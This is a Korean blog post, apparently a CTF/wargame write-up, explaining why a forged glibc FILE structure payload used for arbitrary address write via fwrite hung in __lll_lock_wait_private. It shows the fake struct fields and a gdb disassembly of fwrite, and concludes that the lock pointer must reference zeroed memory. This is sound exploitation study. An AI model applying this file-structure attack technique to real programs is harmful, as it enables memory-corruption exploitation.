file structure __lll_lock_wait_private 우회

2023. 9. 6. 09:21·File Structure
728x90
반응형

문제를 풀다가 생긴 문제점을 간단하게 요약하겠다.

 

fwrite 함수를 파일 스트럭쳐를 변조한 뒤 call 하여 aaw를 하던 와중, 분명 fwrite 함수가 실행됐는데 입력을 받으며 멈춰있는 현상이 발생했고, 페이로드는 아래와 같았다.

pay += p64(0) #read ptr
pay += p64(environ) #read end
pay += p64(0) #read base
pay += p64(environ) #write base
pay += p64(environ+0x100) #write ptr
pay += p64(0) #write end
pay += p64(0) #buf base
pay += p64(0) #buf end
pay += p64(0) #save base
pay += p64(0) #backup base
pay += p64(0) #save end
pay += p64(0) #markeropen_
pay += p64(0) #chain
pay += p64(1) #fileno

pay += p64(0) #flag2
pay += p64(0) #
pay += p64(heap_leak-0x10) #lock

 

확인해보니 fwrite 함수 내에서 실행되는 __lll_lock_wait_private 함수 내의

cmp    $0xfffffffffffff000, %rax

부분에서 멈춰있음을 볼 수 있었다.

 

앞으로 돌아가며 찾아보니, fwrite 함수 내에서 lock 변수의 값을 확인하여 해당 함수를 실행하는 것을 볼 수 있었다.

gef➤  disas fwrite
Dump of assembler code for function fwrite:
   0x00007fe490271fa0 <+0>:     endbr64
   0x00007fe490271fa4 <+4>:     push   %r15
   0x00007fe490271fa6 <+6>:     push   %r14
 ...
   0x00007fe490271ff2 <+82>:    lock cmpxchg %edx,(%rdi)
   0x00007fe490271ff6 <+86>:    jne    0x7fe490272110 <fwrite+368>
...
   0x00007fe4902720e5 <+325>:   nopl   (%rax)
   0x00007fe4902720e8 <+328>:   callq  0x7fe490283380 <__lll_lock_wake_private>
   0x00007fe4902720ed <+333>:   jmp    0x7fe490272088 <fwrite+232>
   0x00007fe4902720ef <+335>:   mov    %r14,%rax
   0x00007fe4902720f2 <+338>:   xor    %edx,%edx
   0x00007fe4902720f4 <+340>:   div    %r13
   0x00007fe4902720f7 <+343>:   mov    %rax,%r12
   0x00007fe4902720fa <+346>:   jmp    0x7fe490272095 <fwrite+245>
   0x00007fe4902720fc <+348>:   nopl   0x0(%rax)
   0x00007fe490272100 <+352>:   callq  0x7fe49027bf70
   0x00007fe490272105 <+357>:   jmpq   0x7fe49027204a <fwrite+170>
   0x00007fe49027210a <+362>:   nopw   0x0(%rax,%rax,1)
   0x00007fe490272110 <+368>:   callq  0x7fe4902832b0 <__lll_lock_wait_private>
...

 

문제는 heap_leak 즉 lock 값이었으며, heap_leak 주소의 값이 0이 아니면 실행된다.

 

그러므로 lock 값은 무조건 주소의 값이 0인 주소로 설정하여야 한다.

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'File Structure' 카테고리의 다른 글

_IO_FILE_plus의 모든 것.  (0) 2022.08.21
FSOP - _IO_flush_all_lockp ()  (0) 2022.08.18
Bypass IO_validate_vtable  (0) 2022.08.17
_IO_FILE Arbitrary Address Write  (0) 2022.08.16
_IO_FILE Arbitrary Address Read  (0) 2022.08.16
'File Structure' 카테고리의 다른 글
  • _IO_FILE_plus의 모든 것.
  • FSOP - _IO_flush_all_lockp ()
  • Bypass IO_validate_vtable
  • _IO_FILE Arbitrary Address Write
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (559)
      • To do list (0)
        • Doing (1)
        • Complete (6)
      • Diary (37)
      • Tips & theory (77)
      • Kernel Exploit (28)
        • Theory (16)
        • Exercise (5)
      • File Structure (6)
      • Wargame (352)
        • Dreamhack (183)
        • pwn.college (37)
        • pwnable.tw (0)
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (50)
        • Solved (48)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    _IO_FILE
    docker
    64bit
    libc
    la ctf
    hackerschool
    Format String Bug
    pwntools
    exploit education
    pwnable.kr
    vtable
    cryptohack
    heap
    Me
    tcache
    FSB
    rop
    x64
    dreamhack
    ROOT ME
    RTL
    root
    lob
    x86
    BOF
    Buffer Overflow
    phoenix
    32bit
    root-me
    CANARY
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
file structure __lll_lock_wait_private 우회
상단으로

티스토리툴바